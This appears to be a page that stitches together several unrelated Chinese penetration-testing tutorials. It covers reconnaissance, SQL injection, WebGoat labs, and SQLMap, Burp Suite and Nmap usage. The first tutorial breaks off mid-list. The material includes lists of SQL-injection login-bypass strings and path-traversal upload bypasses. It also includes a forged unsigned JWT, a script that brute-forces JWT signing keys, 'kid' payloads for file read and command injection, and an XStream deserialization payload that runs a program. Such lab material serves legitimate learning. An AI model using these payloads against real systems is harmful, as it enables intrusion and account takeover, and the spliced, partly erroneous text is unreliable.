精华内容
下载资源
问答
  • 2021-04-11 15:03:14

    一.收集域名信息

    渗透测试之域名收集:目的是为了让我们更好的了解目标网站,为拿下webshell打下基础。

    1.域名介绍

    域名(Domain Name),是由一串用点分割的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时计算机的电子方位;

    例如:学院域名:51cto.com

    对于edu.51cto.com 以及www.51cto.com是该域名对应的子域名,而edu和www都是对应的主机头。

    浏览网站过程:(从DNS服务器获得指定域名对应的IP地址)
    在这里插入图片描述

    2.whois介绍

    whois是用来查询域名的IP以及所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商)

    不同域名后缀的whois信息需要到不同的whois数据库查询。如.com的whois数据库和.edu的就不同。每个域名或 IP的whois信息是由对应的管理机构保存,例如,以.com结尾的域名的WHOIS信息由.com域名运营商VeriSign管理,中国国家顶级域名.cn域名由CNNIC(中国互联网络信息中心)管理。

    WHOIS协议

    其基本内容是:先向服务器的TCP端口43建立一个连接,发送查询关键字并加上回车换行,然后接收服务器的查询结果。

    3.Whois查询

    Whois查询的重要性:通过Whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对Whois查询到的信息进行搜索,获取更多域名注册者的个人信息。

    Whois查询方法

    1.Web接口查询: whois查询-中国万网
    whois.com
    whois-站长之家
    爱站网

    2.通过whois命令行查询
    在Kali linux下自带了Whois查询工具,通过命令whois域名进行查询。

    4.备案信息查询

    ICPC备案介绍:Internet Content Provider网络内容提供商。
    《互联网信息服务管理办法》指出互联网信息服务分为经营性和非经营性两类。国家对经营性互联网信息服务实行许可制度;对非经营性网站实行备案制度。未取得许可或者未履行备案手续的。不得从事互联网信息服务。在中华人民共和国境内提供非经营性互联网信息服务,应当依法履行备案手续。未经国家机关单位许可备案,不得在中华人民共和国境内从事非经营性互联网信息服务。

    备案好处:为了防止在网上从事非法的网站经营活动,打击不良互联网信息的传播,如果网站不备案的话,很有可能被查处以后关停。

    ICPC备案查询方法

    Web接口查询:
    天眼查

    二.收集子域名信息

    1.子域名介绍

    顶级域名:是“ .com ” ,“ .net ”,“ .org ” ,“ .cn ”等等。

    子域名(Subdomain Name)

    凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。
    我国在国际互联网信息中心正式注册并运行的顶级域名是.cn,这也是我国的一级域名。在顶级域名之下,我国的二级域名又分为类别域名和行政区域名两类。
    类别域名共6个,包括用于科研机构的.ac ;用于工商金融企业的.com;用于教育机构的.edu;用于政府部门的.gov;用于互联网信息中心和运行中心的.net;用于非盈利组织的.org;而行政区域名由34个,分为对应于我国各省,自治区和直辖市。

    2.挖掘子域名的重要性

    子域名是某个主域的二级域名名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。

    例如:
    www.xxxxx.com主域不存在漏洞,并且防御措施严密。
    而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。

    3.子域名挖掘方法

    (1)子域名挖掘工具,如:Maltego CE, wydomain, subDomainsBrute, dnsmaper, Layer子域名挖掘机。
    (2)搜索引擎挖掘,如:在Google中输入site:sina.com
    (3)第三方网站查询:子域名查询-站长工具 ,dns
    (4) 证书透明度公开日志枚举:Censys
    (5)其他途径:在线子域名查询爱站网

    4.刷洞思路

    针对某个具体SRC进行挖洞:如果直接针对主域进行渗透测试很可能是很难达到挖掘的效果。此时可以搜集对应的子域名,然后批量探测某些具体漏洞,从而更加快速容易的发现一些漏洞。之后将漏洞提交对应SRC获取奖金。

    针对刷洞思路:对应没有指定厂商的刷洞,可以根据某些具体漏洞,通过URL采集获取目标,编写探测脚本批量探测,快速高效的刷洞。

    三.Web站点信息收集

    1.CMS指纹识别

    CMS(内容管理系统),又称整站系统或文章系统。用于网站内容管理。用户只需要下载对应的CMS软件包,部署搭建,就可以直接利用CMS,简单方便。但是各种CMS都具有其独特的结构命名规则和特定的文件内容,因此可以利用这些内容来获取CMS站点的具体软件CMS与版本。

    常见CMS:dedecms(织梦),Discuz,Phpcms等。

    CMS识别工具
    (1)在线工具:在线指纹识别云悉指纹

    (2)本地工具 whatweb
    御剑web指纹识别程序 百度网盘
    大禹CMS识别程序

    2.针对CMS漏洞查询

    对于查询到的CMS可以利用

    3.敏感信息目录

    针对目标Web目录结构和敏感隐藏文件探测是非常重要的。在探测过程中很有可能会探测出后台页面,上传页面,数据库文件,甚至是网站源代码文件压缩包等。

    探测工具
    (1)御剑后台扫描工具
    (2)wwwscan命令行工具
    (3)dirb命令行工具
    (4)dirbuster扫描工具

    4.wordpress测试

    WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySOL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。
    针对WordPress测试,可以使用wpscan工具进行安全测试。

    四.端口信息收集

    1.端口介绍

    如果把IP地址比作一间房子,端口就是进出这间房子的门。真正的房子只有几个门,但是一个IP地址的端口可以有65536(即:2^16)个之多!端口是通过端口号来标记的,端口号只有整数,范围是从0到65536.
    例如:计算机中的80端口,21端口,23端口;

    在计算机中每一个端口代表一个服务。在Windows命令行中使用netstat -anbo显示开放端口。

    2.端口信息收集

    对于收集目标机器端口状态,可以使用工具来进行测试。工具原理:使用TCO或者UDP等协议向目标端口发送指定标志位等的数据包,等目标返回数据包,以此来判断端口状态。
    (1)使用nmap探测。 nmap -A -v -T4目标
    (2)使用masscan探测
    (3)使用在线网站探测 端口扫描-站长工具

    3.端口攻击

    针对不同的端口具有不同的攻击方法。
    例如:针对远程连接服务端口

    端口端口说明攻击方法
    22SSH远程连接爆破,SS隧道及内网代理转发,文件传输
    23Telnet远程连接爆破,嗅探,弱口令
    3389rdp远程桌面Shift后门,爆破
    5900VNC远程连接弱口令,RCE

    对于扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。

    五.SQL注入原理

    1.SOL注入的原因

    语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。

    在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

    例如:在于用户交互的程序中,用户的输入拼接到SOL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。

    2.登陆案例讲解

    登录SOL语句:select * from admin where username = '用户输入的用户名‘ and password = '用户输入的密码’

    用户输入的内容可由用户自行控制,例如可以输入 ‘or 1=1 --空格

    SOL语句:select * from admin where username = ’ 'or 1=1 – ~~and password = '用户输入的密码’~~其中or 1=1 永远为真, --注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。

    后台登陆万能密码

    (1)Asp/Aspx万能密码:
    1."or “a”="a
    2.“or”="a’=‘a
    3. ‘)or(‘a’=‘a
    4.or 1=1–
    5.a’or’ 1=1–
    6.“or”="a’=‘a
    7.‘or’’=’
    8. 1 or ‘1’=‘1’=1
    9. 1 or ‘1’=‘1’ or 1=1
    10. 'OR 1=1%00
    11. "or 1=1%00
    12.‘xor
    13.admin’ or ‘a’='a 密码随便
    14.‘or’=‘or’
    15.‘or 1=1–
    16.’'or 1=1–
    17.‘or’a’='a

    (2)PHP万能密码:
    1.’or’=‘or’
    2.'or 1=1/* 字符型 GPC是否开都可以使用

    更多相关内容
  • Web攻防系列教程之Cookie注入攻防实战.pdf
  • web攻防教程

    2015-05-16 13:10:11
    一本关于web攻击和防御的文档,主要是针对linux系统中php和mysql攻击等
  • WEB攻防-JavaWeb项目

    千次阅读 2022-01-13 16:54:22
    WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制 #知识点: 1、JavaWeb常见安全及代码逻辑 2、目录遍历&身份验证&逻辑&JWT 3、访问控制&安全组件&越权&三方组件

    WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制

    #知识点:
    1、JavaWeb常见安全及代码逻辑
    2、目录遍历&身份验证&逻辑&JWT
    3、访问控制&安全组件&越权&三方组件
    

    一、JavaWeb-WebGoat8靶场搭建使用

    1、资源地址

    https://github.com/WebGoat/WebGoat
    

    2、启动访问

    //启动
    java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
    //访问
    http://localhost:8081/WebGoat/login
    

    二、安全问题-目录遍历&身份认证&JWT攻击

    1、目录遍历

    (1)WebGoat Path traversal 2

    路径遍历

    路径遍历是指应用程序接收了未经合理校验的用户参数用于进行与文件读取查看相关操作,而该参数包含了特殊的字符(例如“…”和“/”),使用了这类特殊字符可以摆脱受保护的限制,越权访问一些受保护的文件、目录或者覆盖敏感数据。比如上传到只能存放图片不能执行脚本的目录,可以把上传的脚本文件等通过此漏洞上传到其他目录或根目录。

    路径(目录)遍历是攻击者能够访问或存储应用程序运行位置之外的文件和目录的漏洞。这可能会导致从其他目录读取文件,并且在文件上传覆盖关键系统文件的情况下。
    例如,假设我们有一个托管一些文件的应用程序,并且可以按以下格式请求它们:`http://example.com/file=report.pdf`现在作为攻击者,您当然对其他文件
    感兴趣,因此您可以尝试`http://example.com/file=../../../../../etc/passwd`. 在这种情况下,您尝试走到文件系统的根目录,然后进入`/etc/passwd`以
    访问该文件。
    当然,这是一个非常简单的示例,在大多数情况下,这将无法作为框架实现的控件来工作,因此我们需要更有创意并../在将请求发送到服务器之前开始编码。例
    如,如果我们对../您进行URL 编码,那么`%2e%2e%2f`接收此请求的 Web 服务器将再次将其解码为../.
    

    上传流程

    文件上传后以FullName的值命名,并存储在文件夹C:\Users\10375.webgoat-8.1.0\PathTraversal\1234567\test目录下,比目标路径多一级目录1234567,可尝试将FullName改成…/test,点击update,可将这张图片传到上级文件夹PathTraversal下。

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
    /*@RequestMapping 是一个用来处理请求地址映射的注解,可用于类或方法上。用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径;用于方法上,表示在类的父路径下追加方法上注解中的地址将会访问到该方法。*/
    //@Responsebody 注解表示该方法的返回的结果直接写入 HTTP 响应正文(ResponseBody)中,一般在异步获取数据时使用
    //@RequestParam:将请求参数绑定到控制器的方法参数上
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    

    利用方式

    目标地址:
    C:\Users\10375/.webgoat-8.1.0/PathTraversal/
    直接提交:
    Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test"
    更改参数:
    Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test1"
    Full Name参数可控:跳一级目录即可,修改传输fullName的值为:../test
    Content-Disposition: form-data; name="fullName"
    ../test
    

    (2)WebGoat Path traversal 3

    题目描述

    The developer became aware of the vulnerability and implemented a fix which removed the ../ from the input. Again the same assignment but can you bypass the implemented fix?
    

    路径代码匹配

    提交路径:
    POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1
    对应代码路径:
    webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal > ProfileUploadFix
    

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload-fix"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
            return super.execute(file, fullName != null ? fullName.replace("../", "") : "");//替换了../ 且单次替换
        }
    

    绕过思路

    修改test为:…\test,或者双写…/./test绕过

    Content-Disposition: form-data; name="fullNameFix"
    ..\test
    ..././test
    

    (3)WebGoat Path traversal 4

    题目描述

    The developer again became aware of the vulnerability by not validating the input of the full name input field. A fix was made in an attempt to solve this vulnerability.
    
    Again the same assignment but can you bypass the implemented fix?
    

    路径代码匹配

    提交路径:
    POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
    对应代码路径:
    webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal >ProfileUploadRemoveUserInput
    

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload-remove-user-input"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
            return super.execute(file, file.getOriginalFilename());//file.getOriginalFilename()是得到上传时的文件名
    

    绕过思路

    //首先尝试对test注入点和其他注入点进行修改,其上传后的文件名都是原始文件名,于是输入框内的参数对于上传之后的文件命名是没有影响的
    Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="123QQ20220107150741.png"
    Content-Disposition中的filename的值预填为下载后的文件名,尝试修改filename的值,上传之后的文件名也跟着变化了,于是尝试在filename处修改即可
    Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="../123QQ20220107150741.png"
    

    2、身份认证

    (1)键值逻辑

    #身份认证
    -键值逻辑:使用键名键值进行对比验证错误
    -JWT攻击:1、签名没验证空加密 2、爆破密匙 3、KID利用
    https://www.cnblogs.com/vege/p/14468030.html
    

    键值对(“key = value”),顾名思义,每一个键会对应一个值。在部分网站对问题进行验证时接收键值对查询对比以判断输入正误,有以下两种情况:

    case1:
    同时接收键名键值
    s0=answer1&s1=answer2
    若数据库中不存在s3与s4构造如下发送数据并验证:
    s3= &s4= //等于空或其他值,多少视具体逻辑判断
    则因为s3,s4均为null于是判断成立,验证通过
    s3= null s4= null//输入一个为空,数据库没有返回null,然后判断成立
    
    case2:
    安全验证:固定键名,接收键值判断
    固定接收的数据: 固定键名s0 s1,然后判断发送数据
    不固定: s0 s1判断你的数据 (正常情况下)//s0 s1在数据库或者变量内
    不固定: s2 s3判断你的数据 (攻击者攻击情况下)// s2 s3不在数据库或者变量内
    
    1)WebGoat Authentication Bypasses
    身份验证绕过
    身份验证绕过以多种方式发生,但通常利用配置或逻辑中的一些缺陷。篡改以达到正确的条件。
    
    隐藏的输入
    最简单的形式是依赖于网页/DOM 中的隐藏输入。
    
    删除参数
    有时,如果攻击者不知道参数的正确值,他们可能会从提交中完全删除该参数以查看会发生什么。
    
    强制浏览
    如果站点的某个区域没有通过配置得到适当的保护,则可以通过猜测/暴力破解来访问该站点的区域。
    

    提交验证问题答案:

    secQuestion0=123&secQuestion1=123&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
    

    绕过验证:

    secQuestion10=&secQuestion11=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
    

    (2)JWT攻击

    JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。jwt由三个部分组成:header.payload.signature
    参考资源:https://www.cnblogs.com/vege/p/14468030.html
    在此流程中,您可以看到用户在服务器返回的成功验证后使用用户名和密码登录。服务器创建一个新令牌并将其返回给客户端。当客户端对服务器进行连续调用时,它会将新令牌附加到“授权”标头中。服务器读取令牌并在成功验证后首先验证签名,服务器使用令牌中的信息来识别用户。
    请添加图片描述

    1)空加密算法-加密算法

    如何判定:数据包中cookie中三部分,以.间隔 ,网站不同用户(比如注册用户与不注册用户)的cookie内容对比,判断是否为jmt。

    解密网站:jmt.io

    JWT支持使用空加密算法,可以在header中指定alg为None,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

    {
        "alg" : "None",
        "typ" : "jwt"
    }
      
    {
        "user" : "Admin"
    }
    

    生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

    (header+’.’+payload,去掉了’.’+signature字段)

    空加密算法的设计初衷是用于调试的,但是如果某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。所以不要密匙去生成jmt,需要服务器支持不要密匙(空模式加密)。

    以WebGoat JWT tokens 4为例:

    当选择管理员用户Tom时传输的cookie如下:

    Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NDI4NTU4MDIsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Ki5z2E2FZO9KPQQnyF-exMwVG4pZ64n3_ORtbE76rTTdzh2Ln5eNjIyOLIVxPetkRJMsQjE4OFnm3hihP_8vlw
    

    jmt.io解密,由于不知道密钥无法通过修改admin:true的方式伪造token。
    请添加图片描述
    尝试使用空加密算法,去除signature字段,生成两段加密数据。

    eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
    

    利用burp更改数据包Cookie发送。
    请添加图片描述

    2)爆破密钥

    有密码验证的地方,就有会爆破。JWT 密钥爆破的局限性很大,对 JWT 的密钥爆破需要在一定的前提下进行:

    • 知悉JWT使用的加密算法
    • 一段有效的、已签名的token
    • 签名用的密钥不复杂(弱密钥)

    以WebGoat JWT tokens 4为例:

    爆破后的密钥:bingo! found key --> shipping <–

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'your jmt'
        with open('top.txt') as f://字典爆破
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')
    

    输入密钥与修改用户名即可。
    请添加图片描述

    3)修改KID参数

    kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/home/jwt/.ssh/pem"
    }
    

    因为该参数可以由用户输入,所以也可能造成一些安全问题。

    0x01 任意文件读取

    kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/etc/passwd"
    }
    
    0x02 SQL注入

    kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "key11111111' || union select 'secretkey' -- "
    }
    
    0x03 命令注入

    kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

    "/path/to/key_file|whoami"
    

    对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

    三、安全问题-访问控制&安全组件&第三方组件

    #安全组件
    有没有引用爆过漏洞的第三方组件
    #访问控制
    -隐藏属性:前端页面的无作用限制显示 //管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露了,可尝试修改信息切换到其他用户访问
    -水平越权:同一级别用户权限的查看
    

    1、安全组件

    漏洞利用并不总是在“你的”代码中

    概括:
    开源是从具有不同质量标准的许多不同存储库中获得的。
    有关漏洞的安全信息散布在各处。
    许可证信息通常难以验证。
    大多数团队没有组件升级策略。
    开源组件是新的攻击媒介。
    

    (1)WebGoat Vulnerable Components 12

    任何组件都可能存在漏洞

    <sorted-set>
      <string>foo</string>
      <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
          <target class="java.lang.ProcessBuilder">
            <command>
              <string>calc.exe</string>
            </command>
          </target>
          <action>start</action>
        </handler>
      </dynamic-proxy>
    </sorted-set>
    

    2、访问控制

    直接对象引用

    直接对象引用是指应用程序使用客户端提供的输入来访问数据和对象。

    例子

    使用 GET 方法的直接对象引用示例可能类似于

    https://some.company.tld/dor?id=12345
    https://some.company.tld/images?img=12345
    https://some.company.tld/dor/12345
    

    其他方法

    POST、PUT、DELETE 或其他方法也可能受到影响,主要只是方法和潜在的有效负载不同。

    不安全的直接对象引用

    当引用未正确处理并允许绕过授权或泄露可用于执行操作或访问用户不应执行或访问的数据的私有数据时,这些被认为是不安全的。假设作为用户,您去查看您的个人资料,并且 URL 看起来像这样:

    https://some.company.tld/app/user/23398
    

    您可以在那里查看您的个人资料。如果您导航到:https://some.company.tld/app/user/23399或在最后使用另一个数字。如果您可以操纵数字(用户 ID)并查看他人的个人资料,则对象引用是不安全的。这当然可以在 GET 方法之外检查或扩展以查看数据,但也可以操作数据。

    (1)WebGoat Insecure Direct Object References 2

    许多访问控制问题容易受到经过身份验证但未经授权的用户的攻击。换句话说(正如您在客户端过滤课程中可能已经注意到的那样),原始响应中的数据通常不会显示在屏幕/页面上。(隐藏属性),管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露,可尝试修改信息切换到其他用户访问得到更多信息。

    请添加图片描述

    四、总结

    1、目录遍历:可越权访问一些受保护的文件、目录等信息,可执行脚本可以通过目录遍历将其放置于具有执行脚本功能的文件夹执行;

    2、身份认证:键值逻辑:键名是否带入查询,若查询对比可构造数据库不存在的键名绕过;

    3、JMT攻击:利用jmt进行攻击,受限于密钥是否已知;

    4、安全组件:漏洞利用并不总是在“你的”代码中,任何组件都可能存在漏洞;

    5、访问控制:部分验证或传输方式将部分参数隐藏起来,相当于前端验证,可尝试修改参数内容越权访问。

    6、javaweb架构:url地址《=》源码文件 包查找到文件,可对应代码去看。

    展开全文
  • Web安全攻防

    千次阅读 2022-04-05 11:04:12
    版本检测:探测目标主机的网络服务,判断其服务名称和版本号 系统检测:探测目标主机的操作系统及网络设备的硬性特征 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言 nmap 192.168.0.100 #扫描单个...

    第三章 常用的渗透测试工具

    Low级别基于布尔的盲注思路

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解当前数据库名

    3.猜解数据库中的表名

    4.猜解表中的字段名

    5.猜解数据

    判断是否有sql注入

    输入1、1’ and 1=1 #、1’ and 1=2#

    得到结果User ID exists in the database.可以判断存在sql注入

    3.1 SQLMap

    安装需要搭建python环境

    官网下载SQL和python,SQL安装完成之后,复制python的安装目录,添加至环境变量中

    打开cmd,输入sqlmap.py命令后即可正常运行

    基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
    基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面
    返回时间是否增加)来判断。
    基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    联合查询注入,可以使用union的情况下的注入
    堆查询注入,可以同时执行多条语句的执行时的注入。

     打开cmd,输入sqlmap.py命令后,开始进行渗透

    SQLMap入门

    #判断是否存在注入
    python  sqlmap.py  http://192.168.21.129/sql/Less-1/?id=1
    #查询当前用户下的所有数据库
    python  sqlmap.py  http://192.168.21.129/sql/Less-1/?id=1--dbs
    #获取数据库的表名
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"  -D  security  --tables
    #获取表中的字段名
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"  -D   users  --columns
    #获取数据库的所有用户
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --users
    #获取数据库用户的密码
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --passwords

    #获取当前数据库的名称
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --current-db
    获取当前网站数据库的用户名称
    python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --current-user

    python sqlmap.py http://192.168.21.129/sql/Less-1/?id=1

    python sqlmap.py http://192.168.21.129/sql/Less-1/?id=1--dbs

    python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" -D security --tables

    python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" -D users --columns

    python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" --users

    python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" --passwords

    SQL进阶:参数详解

    --level探测等级

    参数-level5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默

    添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFP等头多

    注入。当然,level5的运行速度也比较慢。

    这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP    cookie

    在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。总之,在

    不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的1evel值

    参数详解

    --level 5

    探测等级

    --is--dba

    当前用户是否为管理权限

    --roles

    列出数据库管理员角色

    --referer

    HTTP Referer头

    --sql-shell

    运行自定义的SQL语句

    --os-cmd,--os-shell

    运行任意命令的操作系统

    --file-read

    从数据库服务器中读取文件

    --file-write --file-dest

    上传文件到数据库服务器中

    Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对web应用程序的渗透测试和攻击。(kali上自带burpsuite抓包软件)。Burp Suite可执行程序是Java文件类型的jar文件

    Burp Suite由Java语言编写,基于Java自身的跨平台性,使这款软件学习和使用来更方便。BurpSuite不像其他自动化测试工具,它需要手工配置一些参数,触些自动化流程,然后才会开始

     Burpsuite

    Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对web应用程序的渗透测试和攻击。(kali上自带burpsuite抓包软件)。Burp Suite可执行程序是Java文件类型的jar文件

    Burp Suite由Java语言编写,基于Java自身的跨平台性,使这款软件学习和使用来更方便。BurpSuite不像其他自动化测试工具,它需要手工配置一些参数,触些自动化流程,然后才会开始工作。

    1.Proxy

    Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。

    Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 
    Drop表示丢弃当前拦截的数据包。
    Interception is on表示开启拦截功能
    单击后变为Interception is off,表示关闭拦截功能。
    Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。
    单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater Intruder等功能组件做进一步的测试,
    --同时也包含改变数据包请求方式及其 body的编码等功能。

    Burp有四种消息类型显示数据包:

    Raw、Params、Headers和Hex。

    Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包
    Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数 cookie参数。
    Headers中显示的是数据包中的信息,以名称、值、形式显示数据包
    Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内进行修改,在进行00截断时非常好用

    proxy--intercept--intercept is on--hex不同的http 请求显示格式

    Proxy--http history 代理抓包后的http记录


    burpsuite功能模块讲解

     send  to  spider  发送爬虫软件
     DO  a  active  scan  进行一次主动扫描
     send  to  intruder发送给爆破模块
     send  to  repeater  发送给重放模块
     send  to  comparer  发送给比对模块
     send  to  decoder  发送给解码模块
     request in  browser   将请求在浏览器重放

    intruder模块

     sniper单变量爆破
     battering ram放松给重放模块
     pitch fork 多变量同时爆破(无循环)
     cluster bomb多变量循环爆破(有循环)

    kali在主机中抓包

    添加(Add)代理端口

    抓包时Proxy--intercept中的Interception is on代表开启拦截功能

    火狐打开代理功能

    1.火狐右上方设置通过火狐添加插件FoxyProxy

    2.关闭火狐代理功能

    进入dvwa靶场,设置安全系数(DVWA Security)难度系数为low,通过burpsuite获取相关信息操作

    打开火狐代理功能

    进入dvwa上的SQL注入(SQL Injection)id后填入相关代码

    抓包成功后打开kali里的burpsuite

    查看抓包获取到的信息

    谷歌上开启代理功能

    谷歌输入网址处输入代理端口

    点击CA Certificate下载证书

    设置--高级--系统--隐私设置和安全性--管理证书--导入下载上的证书

    设置--高级--系统--打开计算机的代理设置--连接--局域网设置--代理服务器

    下方输入相关地址和端口,点击确定

    设置完kali在虚拟机里抓包

    kali中输入burpsuite进入抓包程序

    proxy--options添加端口设置

    Proxy--intercept中的Interception is on

    打开kali自带的浏览器

    settings--pravicy&security--View Certificates--authorities--Import--证书

    settings--General--settings--Manual proxy configurations中填入相关代理地址和端口

    之后抓包就可以成功

    3.3Nmap

    1.nmap入门

    Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全申核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放的端口情况

    操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap

    分布式框架为DNmap。

    输入nmap可获取nmap的相关参数

    Nmap特点如下:

    • 主机探测:探测网络上的主机,如列出响应的TCP和ICMP请求、ICMP请求、

    开放特别端口的主机

    • 端口扫描:探测目标主机所开放的端口。
    • 版本检测:探测目标主机的网络服务,判断其服务名称和版本号
    • 系统检测:探测目标主机的操作系统及网络设备的硬性特征
    • 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言
    nmap  192.168.0.100  #扫描单个主机,目标地址
    nmap  192.168.0.100    192.168.0.105  #扫描多个主机
    nmap  192.168.0.100-110  #扫描一个范围内目标主机
    nmap  192.168.0.100/24  #扫描目标地址所在的某个网段
